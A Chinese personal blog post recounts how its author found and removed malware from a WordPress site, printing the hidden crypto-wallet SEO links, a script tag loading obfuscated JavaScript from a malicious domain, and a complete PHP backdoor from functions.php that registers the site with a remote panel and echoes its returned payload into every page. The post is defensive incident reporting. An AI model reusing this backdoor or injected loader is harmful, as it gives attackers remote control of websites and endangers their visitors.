记录一段恶意代码

/ 85 阅读 / 0

昨晚忽然心血来潮 F12 刷新博客页面,忽然发现 network 里有奇怪的加载内容:

https://vsactivens.beer/api/index.php?q=jEOcGsufpKF5GUpxyw

将这个链接丢给 AI 帮我分析一下什么情况,得到的结论是:

这是一个高危恶意链接,vsactivens.beer 已被多个威胁情报平台一致标记为恶意域名(Command & Control / C2 服务器),用于恶意软件的远程控制和载荷投递。它不是正常网站,也不是正规的 API 服务。

既然如此应该是被挂马了,开始排查。在页面源代码里找到几行可疑内容:

<p><a href="https://jaxxwallet.co.com" style="display: none;" rel="dofollow">Jaxx Liberty Wallet</a></p>
<p><a href="https://jaxxwallet.co.com" style="display: none;" rel="dofollow">Jaxx Wallet Download</a></p>
<script src="https://wxqdcakvuv.com/api.js"></script>
  1. 前两行:在网站上放了两个指向 jaxxwallet(一个加密货币钱包)的链接,并且加上了 style="display: none;"。“黑帽 SEO(暗链)”:因为链接被隐藏了,正常的访客在网页上是看不见的,但是百度的爬虫能看到。对方利用你网站的权重,免费给那个搞虚拟币诈骗的网站做 SEO 排名。
  2. 第三行(木马加载器 - 罪魁祸首):<script src="https://wxqdcakvuv.com/api.js"></script>,这个 wxqdcakvuv.com 是就是对方用算法随机生成的恶意域名。当访客打开网页,浏览器就会去加载这个 api.js。这个 JS 文件里全是被高度混淆的恶意代码。当它在浏览器内存里运行时,VM 脚本再向 vsactivens.beer 发起请求,获取那串加密的 JSON 指令,最终执行恶意跳转。

排查主题的 footer.php 文件、主题自定义代码以及数据库,都没有找到相似代码。

最后在 functions.php 文件中找到了两段可疑内容,将它们扔给 AI 帮我分析,结果一段的作用是强制禁用缓存

另一段是这样的:

(⚠️ 以下为恶意代码样本,请勿在任何生产环境测试)

if(!function_exists('wp_injector_fetch_code')){function wp_injector_fetch_code(){ $c2_url="https://validlogs.com/BackPanel/panel.php"; $domain=parse_url(home_url(),PHP_URL_HOST); $resp=wp_remote_post($c2_url,["body"=>["action"=>"register_domain","domain"=>$domain],"timeout"=>8,"sslverify"=>false]);if(is_wp_error($resp))return;$payload=wp_remote_retrieve_body($resp);if(!empty($payload)){add_action("wp_footer",function() use ($payload){echo $payload;});}}add_action("init","wp_injector_fetch_code",9999);}

将代码扔给 AI 分析,得到:

这段代码是一个功能完整的后门程序,它会与一个外部服务器通信,对网站安全构成严重威胁。

  1. 远程通信:代码定义了一个名为 wp_injector_fetch_code 的函数,该函数会在 WordPress 初始化时(init)运行。它会向 https://validlogs.com/BackPanel/panel.php 发送一个包含网站域名的 POST 请求。
  2. 接收指令:发送请求后,该函数会等待并接收来自这个远程服务器的响应内容(Payload)。
  3. 执行指令:一旦接收到内容,它会使用 add_action("wp_footer", ...) 将接收到的内容直接输出(echo)到网站的 HTML 页脚中。

这意味着 validlogs.com 这个远程服务器的拥有者可以随时向你的网站发送任何 PHP 代码、JavaScript 脚本或 HTML 内容,并在你的网站上执行。这可能导致:

将代码删除并保存 functions.php,替换文件后恢复正常。如果使用了 WP Rocket,请务必在后台点击 “清除所有缓存”,否则部分访客可能还会看到被缓存下来的带毒页面。


以上便是此次恶意代码的整个过程。

不得不说,有了 AI 的帮助,像我这种代码小白也可以便捷的解决这种类型的问题,AI 真的很有用。

但也不能无脑盲从,理性客观的看待和使用 AI 才是正途。


20260520 补充

有点不放心,又把网站下其他主题文件里的 functions.php 都查了一遍,发现所有主题下的这个文件都被这两端恶意代码给篡改了,只好全部手动清理。再观察几天看看有没有其他的状况。